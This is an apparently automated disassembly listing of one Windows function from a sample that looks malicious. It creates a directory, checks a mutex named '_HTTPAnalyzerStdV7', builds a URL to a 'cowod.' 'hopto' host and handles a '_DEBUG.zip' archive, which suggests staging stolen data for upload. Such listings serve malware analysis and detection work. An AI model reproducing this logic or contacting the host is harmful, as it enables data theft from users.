Function at 0x417083
Capabilities:
Create directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
mov eax, 0x82e4
call fcn.0042e3e0
mov eax, dword [0x43d078]
xor eax, esp
mov dword [esp + 0x82e0], eax
push ebx
push esi
push edi
xor edi, edi
push 0x4366ba
lea esi, [esp + 0xd4]
mov dword [0x65e1c4], edi
call fcn.004104bc
call fcn.00410c28
push eax
push str._HTTPAnalyzerStdV7
push dword [0x65e11c]
lea esi, [esp + 0x28]
lea eax, [esp + 0xdc]
call fcn.004105de
lea esi, [esp + 0x40]
call fcn.004105de
lea esi, [esp + 0x30]
call fcn.004105de
lea esi, [esp + 0xd0]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
mov eax, dword [esp + 0x38]
call fcn.00402920
mov eax, dword [esp + 0x1c]
call fcn.00402920
mov esi, 0x1f0003
jmp 0x417125
push eax
call dword [0x65e238]
push dword [esp + 0xd0]
push edi
push esi
call dword [0x65e204]
cmp eax, edi
jne 0x41711e
push dword [esp + 0xd0]
push edi
push edi
push edi
call dword [0x65e37c]
push 0x4366bb
lea esi, [esp + 0x10c]
mov dword [esp + 0xe4], eax
call fcn.004104bc
lea eax, [esp + 0x68]
call fcn.00418153
push 0x4366be
lea esi, [esp + 0x6c]
mov dword [esp + 0xf0], edi
mov dword [esp + 0xe8], edi
mov dword [esp + 0xec], edi
mov dword [esp + 0xfc], edi
mov dword [esp + 0xf4], edi
mov dword [esp + 0xf8], edi
mov dword [esp + 0x108], edi
mov dword [esp + 0x100], edi
mov dword [esp + 0x104], edi
call fcn.0041051e
push 0x4366bf
lea esi, [esp + 0x98]
call fcn.0041051e
mov ecx, 0xc7
mov dword [esp + 0xb4], edi
mov dword [esp + 0xc0], 1
mov dword [esp + 0xa8], edi
mov dword [esp + 0xa4], edi
mov dword [esp + 0xb0], edi
mov dword [esp + 0xac], edi
mov dword [esp + 0xb8], edi
mov dword [esp + 0xc4], edi
mov dword [esp + 0xc8], 0x9c40
mov dword [esp + 0xcc], edi
mov dword [0x65e1d0], edi
mov dword [0x65e1c8], edi
mov dword [0x65e1c0], edi
mov edx, ecx
lea eax, [esp + 0x63bc]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
add eax, 0x28
dec edx
jns 0x417235
lea eax, [esp + 0x4ddc]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
add eax, 0x1c
dec ecx
jns 0x417253
push 0x63
pop ebx
mov ecx, ebx
lea eax, [esp + 0x1598]
mov dword [eax - 8], edi
mov dword [eax - 0x10], edi
mov dword [eax - 0xc], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
mov dword [eax + 0x10], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
add eax, 0x24
dec ecx
jns 0x417276
mov ecx, ebx
lea eax, [esp + 0x23ac]
mov dword [eax - 0xc], edi
mov dword [eax - 0x14], edi
mov dword [eax - 0x10], edi
mov dword [eax + 4], edi
mov dword [eax - 4], edi
mov dword [eax], edi
mov dword [eax + 0x10], edi
mov dword [eax + 8], edi
mov dword [eax + 0xc], edi
add eax, 0x2c
dec ecx
jns 0x41729f
lea esi, [esp + 0x34c8]
mov ecx, esi
call fcn.0041823f
add esi, 0x40
dec ebx
jns 0x4172c6
push 0x31
lea esi, [esp + 0x13c]
pop ebx
mov ecx, esi
call fcn.00418267
add esi, 0x34
dec ebx
jns 0x4172dd
mov dword [esp + 0x4c], edi
mov dword [esp + 0x44], edi
mov dword [esp + 0x50], edi
mov dword [esp + 0x54], edi
mov dword [esp + 0x48], edi
mov dword [esp + 0x58], edi
call fcn.00402f12
call fcn.00418995
call fcn.0040113b
test eax, eax
jne 0x4175d9
push 0x4366d5
lea esi, [esp + 0x14]
call fcn.004104bc
push 0x436c24
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c28
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c2c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c30
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c34
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c38
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c3c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c40
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c44
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c48
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c4c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c50
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c54
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c58
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c5c
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c60
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c64
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x436c68
lea esi, [esp + 0x30]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
mov ecx, dword [esp + 0x10]
call fcn.00412554
test al, al
jne 0x4175d0
call fcn.0041ccb1
mov dword [0x65e1cc], eax
mov dword [0x65e1c0], 1
mov eax, dword [esp + 0x10]
call fcn.00402920
push 0xc
pop ebx
lea edi, [esp + 0x2c]
call fcn.00411c1f
lea esi, [esp + 0x80]
call fcn.00410562
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x4366d6
lea esi, [esp + 0x30]
call fcn.004104bc
push dword [0x65dfd0]
lea esi, [esp + 0x20]
lea eax, [esp + 0x30]
call fcn.004105de
lea edi, [esp + 0x80]
lea esi, [esp + 0x38]
call fcn.0041059c
lea esi, [esp + 0x2c]
call fcn.00410562
mov eax, dword [esp + 0x38]
call fcn.00402920
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x17c]
push eax
call fcn.004169f8
add esp, 0x6c
mov ebx, eax
lea edi, [esp + 0xe4]
call fcn.0041828f
lea esi, [esp + 0x114]
call fcn.00416dcd
mov eax, edi
lea esi, [esp + 0x68]
call fcn.00410562
lea eax, [esp + 0xf0]
lea esi, [esp + 0x74]
call fcn.00410562
lea eax, [esp + 0x68]
lea esi, [esp + 0x38]
call fcn.004104ee
push str._1235456HTTPAnalyzerStdV7
lea esi, [esp + 0x20]
lea eax, [esp + 0x3c]
call fcn.004105de
lea esi, [esp + 0x38]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
lea edi, [esp + 0xfc]
lea esi, [esp + 0x1c]
lea eax, [esp + 0x38]
call fcn.0041059c
lea esi, [esp + 0x38]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
xor ebx, ebx
push ebx
push ebx
push ebx
push 1
push dword [esp + 0x84]
call dword [0x65e2dc]
push ebx
push ebx
push ebx
push 1
push dword [esp + 0x84]
mov dword [esp + 0xa0], eax
call dword [0x65e2dc]
mov dword [esp + 0x90], eax
sub esp, 0xc
mov edi, esp
sub esp, 0xc
lea eax, [esp + 0x8c]
mov esi, esp
call fcn.004104ee
sub esp, 0xc
mov esi, esp
push str.b1534a3d6b3be29fa13c1a7cbcd57d07
call fcn.004104bc
sub esp, 0xc
mov ecx, esp
call fcn.00410977
sub esp, 0xc
lea eax, [esp + 0xa4]
mov esi, esp
call fcn.004104ee
mov ecx, edi
call fcn.00404b2e
add esp, 0x30
lea edi, [esp + 0x74]
call fcn.00413a02
add esp, 0xc
cmp dword [esp + 0xc8], ebx
jne 0x41779d
mov dword [esp + 0xc8], 0xcb20
lea eax, [esp + 0x1588]
push eax
sub esp, 0xc
mov dword [esp + 0x38], esp
sub esp, 0xc
mov esi, esp
push 0x436c74
call fcn.004104bc
sub esp, 0x68
lea ebx, [esp + 0xec]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xac]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x54]
call fcn.0041347f
pop ecx
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c78
call fcn.004104bc
sub esp, 0x68
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x63b4]
call fcn.00413299
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c7c
call fcn.004104bc
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x4dd4]
call fcn.004133d0
sub esp, 0x5c
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00413bc6
add esp, 0x5c
lea eax, [esp + 0x80]
mov esi, esp
call fcn.004104ee
sub esp, 0xc
mov esi, esp
push dword [esp + 0x50]
call fcn.004104bc
call fcn.00405237
push 6
pop ecx
mov edi, esp
push edx
push eax
lea esi, [esp + 0x64]
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x1610]
push eax
lea eax, [esp + 0x4e54]
push eax
lea eax, [esp + 0x6438]
push eax
call fcn.0040ea91
add esp, 0x94
cmp dword [esp + 0xa8], 0
je 0x417950
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c80
call fcn.004104bc
sub esp, 0x68
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x23a4]
call fcn.00413518
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x2418]
call fcn.0040274e
add esp, 0x80
cmp dword [esp + 0xc4], 0
je 0x4179d1
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c84
call fcn.004104bc
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x144]
call fcn.004131d8
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
push 1
lea eax, [esp + 0x1bc]
call fcn.0041314c
add esp, 0x84
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c88
call fcn.004104bc
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea ebx, [esp + 0x50]
lea ecx, [esp + 0x34d4]
call fcn.004135e8
sub esp, 0xc
push 6
pop ecx
mov edi, esp
mov esi, ebx
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
lea eax, [esp + 0x3548]
call fcn.004153d2
xor esi, esi
add esp, 0x80
cmp dword [esp + 0xb8], esi
je 0x417a6f
sub esp, 0x68
mov edi, esp
call fcn.00401cfd
call fcn.004156af
mov edi, esp
call fcn.00401cfd
call fcn.00416ff9
add esp, 0x68
cmp dword [esp + 0xac], esi
je 0x417a91
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00415e39
add esp, 0x68
cmp dword [esp + 0xb0], esi
je 0x417ab3
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00416372
add esp, 0x68
cmp dword [esp + 0xcc], esi
je 0x417ae2
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.004164ff
add esp, 0x68
jmp 0x417ae2
push 0x3e8
call dword [0x65e210]
cmp dword [0x65e1c8], esi
ja 0x417ad7
cmp dword [esp + 0xb4], esi
je 0x417b0c
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.00411f2a
add esp, 0x68
cmp dword [esp + 0xc4], esi
jne 0x417b8c
sub esp, 0xc
mov dword [esp + 0x34], esp
sub esp, 0xc
mov esi, esp
push 0x436c8c
call fcn.004104bc
sub esp, 0x68
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
mov ecx, dword [esp + 0xa8]
call fcn.00405f39
add esp, 0x74
lea edi, [esp + 0x50]
lea ebx, [esp + 0x144]
call fcn.004131d8
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
push 1
lea eax, [esp + 0x1bc]
call fcn.0041314c
add esp, 0x84
sub esp, 0xc
mov esi, esp
push 0x436c90
call fcn.004104bc
sub esp, 0x68
lea ebx, [esp + 0xdc]
mov edi, esp
call fcn.00401cfd
lea ecx, [esp + 0x90]
call fcn.00405f39
mov eax, dword [esp + 0x90]
add esp, 0x74
call fcn.00402920
call fcn.0040113b
test eax, eax
jne 0x418032
push 0x4366d7
lea esi, [esp + 0x14]
call fcn.004104bc
push 0x436c94
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c98
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436c9c
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436ca0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436ca4
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436ca8
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cac
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cb0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cb4
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cb8
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cbc
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cc0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cc4
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cc8
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436ccc
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cd0
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cd4
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
push 0x436cd8
lea esi, [esp + 0x20]
lea eax, [esp + 0x14]
call fcn.004105de
lea esi, [esp + 0x10]
call fcn.00410562
mov eax, dword [esp + 0x1c]
call fcn.00402920
mov ecx, dword [esp + 0x10]
call fcn.00412554
test al, al
jne 0x418029
lea eax, [esp + 0x28]
lea ecx, [esp + 0xdc]
call fcn.0041cd66
push 0x4366de
lea esi, [esp + 0x20]
call fcn.004104bc
push str.http:__
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004105de
lea esi, [esp + 0x1c]
call fcn.00410562
mov eax, dword [esp + 0x5c]
call fcn.00402920
push str.cowod.
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004105de
lea esi, [esp + 0x1c]
call fcn.00410562
mov eax, dword [esp + 0x5c]
call fcn.00402920
push str.hopto
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004105de
lea esi, [esp + 0x1c]
call fcn.00410562
mov eax, dword [esp + 0x5c]
call fcn.00402920
push 0x436cf8
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004105de
lea esi, [esp + 0x1c]
call fcn.00410562
mov eax, dword [esp + 0x5c]
call fcn.00402920
push 0x436cfc
lea esi, [esp + 0x60]
lea eax, [esp + 0x20]
call fcn.004105de
lea esi, [esp + 0x1c]
call fcn.00410562
mov eax, dword [esp + 0x5c]
call fcn.00402920
push 0x31
lea esi, [esp + 0xb64]
pop edi
mov ecx, esi
call fcn.00418267
add esi, 0x34
dec edi
jns 0x417f57
and dword [esp + 0x58], 0
sub esp, 0xc
mov edi, esp
push dword [esp + 0x34]
sub esp, 0xc
mov esi, esp
push str._DEBUG.zip
call fcn.004104bc
sub esp, 0xc
lea eax, [esp + 0x44]
mov esi, esp
call fcn.004104ee
sub esp, 0xc
lea eax, [esp + 0xa8]
mov esi, esp
call fcn.004104ee
sub esp, 0xc
lea eax, [esp + 0xd4]
mov esi, esp
call fcn.004104ee
push dword [esp + 0xcc]
mov ecx, dword [esp + 0x120]
push edi
call fcn.00405482
add esp, 0x3c
lea edi, [esp + 0x50]
lea ebx, [esp + 0xb6c]
call fcn.004131d8
sub esp, 0xc
push 6
pop ecx
mov esi, edi
mov edi, esp
sub esp, 0x68
rep movsd dword es:[edi], dword [esi]
lea ebx, [esp + 0xe8]
mov edi, esp
call fcn.00401cfd
push 0
lea eax, [esp + 0xbe4]
call fcn.0041314c
add esp, 0x84
push 0x31
lea esi, [esp + 0x158c]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.00413129
dec edi
jns 0x418013
mov eax, dword [esp + 0x1c]
call fcn.00402920
mov eax, dword [esp + 0x10]
call fcn.00402920
mov ecx, dword [esp + 0x2c]
call fcn.00412516
push dword [esp + 0xe0]
call dword [0x65e238]
sub esp, 0x68
lea ebx, [esp + 0xd0]
mov edi, esp
call fcn.00401cfd
call fcn.004182b3
mov eax, dword [esp + 0xa0]
add esp, 0x68
call fcn.00402920
mov eax, dword [esp + 0x2c]
call fcn.00402920
push 0x31
lea esi, [esp + 0xb64]
pop edi
sub esi, 0x34
mov ecx, esi
call fcn.00413129
dec edi
jns 0x418080
push 0x63
lea esi, [esp + 0x4dcc]
pop edi
sub esi, 0x40
mov ecx, esi
call fcn.004153af
dec edi
jns 0x418097
push 0x63
lea esi, [esp + 0x34cc]
pop edi
sub esi, 0x2c
mov ecx, esi
call fcn.00418224
dec edi
jns 0x4180ae
push 0x63
lea esi, [esp + 0x239c]
pop edi
sub esi, 0x24
mov ecx, esi
call fcn.004181ea
dec edi
jns 0x4180c5
mov edi, 0xc7
lea esi, [esp + 0x63a8]
mov ebx, edi
mov eax, dword [esi - 0xc]
sub esi, 0x1c
call fcn.00402920
mov eax, dword [esi]
call fcn.00402920
dec ebx
jns 0x4180e0
lea esi, [esp + 0x82e8]
mov eax, dword [esi - 0x18]
sub esi, 0x28
call fcn.00402920
mov eax, dword [esi]
call fcn.00402920
dec edi
jns 0x4180fc
lea esi, [esp + 0xe4]
call fcn.00416dcd
lea esi, [esp + 0x68]
call fcn.00401cde
mov eax, dword [esp + 0x108]
call fcn.00402920
mov eax, dword [esp + 0xd0]
call fcn.00402920
mov ecx, dword [esp + 0x82ec]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0041d05a
mov esp, ebp
pop ebp
ret